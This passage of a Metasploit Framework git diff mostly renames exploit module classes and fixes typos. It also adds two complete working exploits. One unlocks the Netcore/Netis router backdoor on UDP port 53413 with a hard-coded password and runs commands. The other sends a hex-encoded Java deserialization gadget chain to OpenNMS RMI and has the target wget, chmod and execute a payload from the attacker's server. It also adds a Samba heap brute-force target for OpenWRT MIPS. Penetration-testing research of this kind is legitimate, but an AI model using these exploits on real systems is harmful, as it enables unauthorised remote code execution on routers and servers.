a/modules/exploits/linux/misc/ib_inet_connect.rb +++ b/modules/exploits/linux/misc/ib_inet_connect.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/ib_jrd8_create_database.rb b/modules/exploits/linux/misc/ib_jrd8_create_database.rb index f29e9e831b..abaa69dc85 100644 --- a/modules/exploits/linux/misc/ib_jrd8_create_database.rb +++ b/modules/exploits/linux/misc/ib_jrd8_create_database.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/ib_open_marker_file.rb b/modules/exploits/linux/misc/ib_open_marker_file.rb index 745eebb2f2..68002ee8b1 100644 --- a/modules/exploits/linux/misc/ib_open_marker_file.rb +++ b/modules/exploits/linux/misc/ib_open_marker_file.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb index 0c38798c19..6ea756791d 100644 --- a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb +++ b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb index a715ed69ab..54ac018b40 100644 --- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb +++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/lprng_format_string.rb b/modules/exploits/linux/misc/lprng_format_string.rb index ea1f0cd5df..f40fecdcba 100644 --- a/modules/exploits/linux/misc/lprng_format_string.rb +++ b/modules/exploits/linux/misc/lprng_format_string.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/mongod_native_helper.rb b/modules/exploits/linux/misc/mongod_native_helper.rb index ff457795de..06100c2e4d 100644 --- a/modules/exploits/linux/misc/mongod_native_helper.rb +++ b/modules/exploits/linux/misc/mongod_native_helper.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp @@ -14,8 +14,8 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'MongoDB nativeHelper.apply Remote Code Execution', 'Description' => %q{ - This module exploit a the nativeHelper feature from spiderMonkey which allows to - to control execution by calling it wit specially crafted arguments. This module + This module exploits the nativeHelper feature from spiderMonkey which allows + remote code execution by calling it with specially crafted arguments. This module has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze. }, 'Author' => diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb index 2048a5c6fc..f8c7290538 100644 --- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb +++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp @@ -154,7 +154,7 @@ class Metasploit3 < Msf::Exploit::Remote end - # NRPE uses unauthenticated Annonymous-Diffie-Hellman + # NRPE uses unauthenticated Anonymous-Diffie-Hellman # setting the global SSL => true will break as we would be overlaying # an SSLSocket on another SSLSocket which hasnt completed its handshake @@ -163,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Remote self.sock = super(global, opts) if datastore['NRPESSL'] or @force_ssl - ctx = OpenSSL::SSL::SSLContext.new("TLSv1") + ctx = OpenSSL::SSL::SSLContext.new(:TLSv1) ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE ctx.ciphers = "ADH" diff --git a/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb b/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb new file mode 100644 index 0000000000..ac44757f18 --- /dev/null +++ b/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb @@ -0,0 +1,123 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Netcore Router Udp 53413 Backdoor', + 'Description' => %q{ + Routers manufactured by Netcore, a popular brand for networking + equipment in China, have a wide-open backdoor that can be fairly + easily exploited by attackers. These products are also sold under + the Netis brand name outside of China. This backdoor allows + cyber criminals to easily run arbitrary code on these routers, + rendering it vulnerable as a security device. + Some models include a non-standard echo command which doesn't + honor -e, and are therefore not currently exploitable with + Metasploit. See URLs or module markdown for additional options. + }, + 'Author' => + [ + 'Nixawk', + 'h00die ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ], + [ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ], + [ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py'] + ], + 'Privileged' => true, + 'Targets' => + [ + ['MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + ['MIPS Big Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 25 2014')) + + register_options( + [ + OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]), + Opt::RPORT(53413) + ], self.class) + end + + def timeout + (datastore['TIMEOUT'] || 1000) / 1000.0 + end + + def send_command(data) + payload = "\x00" * 8 + payload << data + udp_sock.put(payload) + end + + def execute_command(cmd, _opts) + send_command(cmd) + vprint_status("Sending: #{cmd}") + end + + def authenticate() + # netcore is the password to unlock the backdoor + send_command('netcore') + resp = udp_sock.get(timeout) + if resp.include?('Login succeeded!') + vprint_good('Backdoor Unlocked') + end + end + + def check + connect_udp + authenticate + resp = [] + tmp_file = Rex::Text.rand_text_alpha(5) + # we need to test the echo command to see if it plays nice + ["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command| + send_command(command) + resp << udp_sock.get(timeout) + end + disconnect_udp + resp_str = resp.join(',') + # check if we got a good response back + if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file) + # some routers have a non-standard echo which doesn't support -en, so we need to detect that + if resp_str.include?('en ') + print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.') + Exploit::CheckCode::Detected + else + Exploit::CheckCode::Vulnerable + end + else + Exploit::CheckCode::Safe + end + end + + def exploit + print_status('Exploiting...') + connect_udp + authenticate + execute_cmdstager(:flavor => :echo, :linemax => 200) + disconnect_udp + end +end diff --git a/modules/exploits/linux/misc/netsupport_manager_agent.rb b/modules/exploits/linux/misc/netsupport_manager_agent.rb index 1ab5730b3b..abfa4247a6 100644 --- a/modules/exploits/linux/misc/netsupport_manager_agent.rb +++ b/modules/exploits/linux/misc/netsupport_manager_agent.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb index 479740e771..3b1ea17ab1 100644 --- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb new file mode 100644 index 0000000000..76977ba1c1 --- /dev/null +++ b/modules/exploits/linux/misc/opennms_java_serialize.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Java::Rmi::Client + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenNMS Java Object Unserialization Remote Code Execution', + 'Description' => %q( + This module exploits a vulnerability in the OpenNMS Java object which allows + an unauthenticated attacker to run arbitary code against the system. + ), + 'Author' => + [ + 'Ben Turner ', # @benpturner + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/' ] + ], + 'Targets' => + [ + [ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], + [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 19 2014' + ) + ) + + register_options( + [ + Opt::RPORT(1099), + OptString.new('WRITABLEDIR', [false, 'A writable directory on the host', '/tmp/']) + ], self.class) + end + + # This is the execute function that is re-used throughout + def exec_command(cmd) + vprint_status("#{peer} - Downloading the file #{cmd}") + + # Do the exploit command bit + data1 = "\x4a\x52\x4d\x49\x00\x02\x4b" + data2 = "\x00\x09\x31\x32\x37\x2E\x30\x2E\x31\x2E\x31\x00\x00\x00\x00\x50\xAC\xED\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4D\xC9\xD4\xE6\x3B\xDF\x74\x00\x05\x70\x77\x6E\x65\x64\x73\x7D\x00\x00\x00\x01\x00\x0F\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x52\x65\x6D\x6F\x74\x65\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x70\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7E\x00\x00\x73\x71\x00\x7E\x00\x05\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x70\x78\x71\x00\x7E\x00\x02\x73\x71\x00\x7E\x00\x05\x73\x72\x00\x2A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\x43\x6F\x6E\x73\x74\x61\x6E\x74\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x70\x78\x70\x76\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x24\x73\x71\x00\x7E\x00\x1C\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x21\x73\x71\x00\x7E\x00\x1C\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00" + data2 += cmd.length.chr + data2 += cmd + data2 += "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x01\x71\x00\x7E\x00\x29\x73\x71\x00\x7E\x00\x17\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x70\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7E\x00\x09\x3F\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7E\x00\x3F\x78\x71\x00\x7E\x00\x3F" + + begin + connect + sock.put(data1) + + # Wait for a successful response + data = recv_protocol_ack # rescue nil + unless data + fail_with(Failure::Unknown, "This system has not responded with the correct RMI header") + end + + # Send the RMI payload + sock.put(data2) + + # Disconnect + disconnect + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the host") + end + end + + # Wget the file onto the host in the temp directory + def wget_payload + resource_uri = '/' + @dropped_elf + + if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + + vprint_status("#{peer} - Starting up our web service on #{service_url} ...") + start_service( + 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } + ) + + exec_command("wget -P #{datastore['WRITABLEDIR']} #{service_url}") + + Rex.sleep(15) + end + + # Change permissions to permit binary execution + def chmod_payload + cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}" + + vprint_status("#{peer} - Chmod the payload...") + res = exec_command(cmd) + + fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload") unless res + + Rex.sleep(1) + end + + # Execute payload on host + def exec_payload + cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf) + + vprint_status("#{peer} - Executing the payload...") + res = exec_command(cmd) + + fail_with(Failure::Unknown, "#{peer} - Unable to exec payload") unless res + + Rex.sleep(1) + end + + # Handle incoming requests from the server + def on_request_uri(cli, _request) + vprint_status("#{peer} - Sending the payload to the server...") + send_response(cli, generate_payload_exe) + end + + # Create the payload and run the commands in succcession + def exploit + print_status("#{peer} - Exploting the vulnerable service...") + + @payload_url = '' + @dropped_elf = rand_text_alpha(rand(5) + 3) + + wget_payload + chmod_payload + exec_payload + end +end diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb index 39e294bd2b..ed0637d842 100644 --- a/modules/exploits/linux/misc/sercomm_exec.rb +++ b/modules/exploits/linux/misc/sercomm_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/zabbix_server_exec.rb b/modules/exploits/linux/misc/zabbix_server_exec.rb index 2376559d8d..0826b3cb16 100644 --- a/modules/exploits/linux/misc/zabbix_server_exec.rb +++ b/modules/exploits/linux/misc/zabbix_server_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/mysql/mysql_yassl_getname.rb b/modules/exploits/linux/mysql/mysql_yassl_getname.rb index 4df096710f..61ad7081f3 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_getname.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_getname.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/mysql/mysql_yassl_hello.rb b/modules/exploits/linux/mysql/mysql_yassl_hello.rb index bd086efcc5..9b6811b040 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_hello.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_hello.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb index e4a4c225b8..b3e42f2ac6 100644 --- a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb +++ b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb index 0194930466..6f781a8e47 100644 --- a/modules/exploits/linux/postgres/postgres_payload.rb +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/postgres' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Postgres diff --git a/modules/exploits/linux/pptp/poptop_negative_read.rb b/modules/exploits/linux/pptp/poptop_negative_read.rb index 59fc651054..1960848adf 100644 --- a/modules/exploits/linux/pptp/poptop_negative_read.rb +++ b/modules/exploits/linux/pptp/poptop_negative_read.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb index bf98f0278a..5552ff0bbc 100644 --- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb +++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Brute diff --git a/modules/exploits/linux/samba/chain_reply.rb b/modules/exploits/linux/samba/chain_reply.rb index ae73ad1779..5f6e867f48 100644 --- a/modules/exploits/linux/samba/chain_reply.rb +++ b/modules/exploits/linux/samba/chain_reply.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index ed72293621..82a8c8b8fe 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC @@ -168,6 +168,20 @@ class Metasploit3 < Msf::Exploit::Remote } ], + ['Linux Heap Brute Force (OpenWRT MIPS)', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_MIPSBE ], + 'Nops' => 64*1024, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0x55900000 }, + 'Stop' => { 'Ret' => 0x559c0000 }, + 'Step' => 60*1024, + } + } + ], + ['DEBUG', { 'Platform' => 'linux', @@ -267,7 +281,7 @@ class Metasploit3 < Msf::Exploit::Remote talloc_magic = "\x70\xec\x14\xe8" # second talloc_chunk header - buf << 'A' * 8 # next, prev + buf << NDR.long(0) + NDR.long(0) # next, prev buf << NDR.long(0) + NDR.long(0) # parent, child buf << NDR.long(0) # refs buf << [target_addrs['Ret']].pack('V') # destructor diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb index b5bbdc6329..8dd9476745 100644 --- a/modules/exploits/linux/samba/setinfopolicy_heap.rb +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb index 63f0fdc1a8..e89a00faea 100644 --- a/modules/exploits/linux/samba/trans2open.rb +++ b/modules/exploits/linux/samba/trans2open.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index 2823d626f0..941eb37e21 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Smtp @@ -123,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote #we use SRVHOST as download IP for the coming wget command. #SRVHOST needs a real IP address of our download host if (datastore['SRVHOST'] == "0.0.0.0" or 